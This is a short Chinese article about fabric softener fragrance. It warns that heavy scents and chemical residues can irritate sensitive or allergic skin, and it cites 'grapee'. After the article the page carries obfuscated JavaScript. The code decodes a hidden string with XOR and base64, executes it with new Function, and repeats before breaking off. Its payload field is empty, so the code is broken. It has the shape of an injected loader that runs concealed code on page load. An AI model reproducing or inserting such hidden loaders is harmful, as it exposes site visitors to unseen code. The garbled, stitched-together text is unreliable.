柔顺剂的香味虽然讨好，但过度浓烈的香精可能会令周遭的人感到不适。品牌方表示，经常收到患有皮肤干燥、异位性皮肤炎或化学物质过敏人士的求助，指出残留的香料和化学成分会刺激皮肤。因此，皮肤敏感人士在清洗贴身衣物及毛巾时，务必严格控制柔顺剂的用量，并确保彻底过水冲洗干净。若皮肤出现痕痒或身体不适，必须立即停用。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...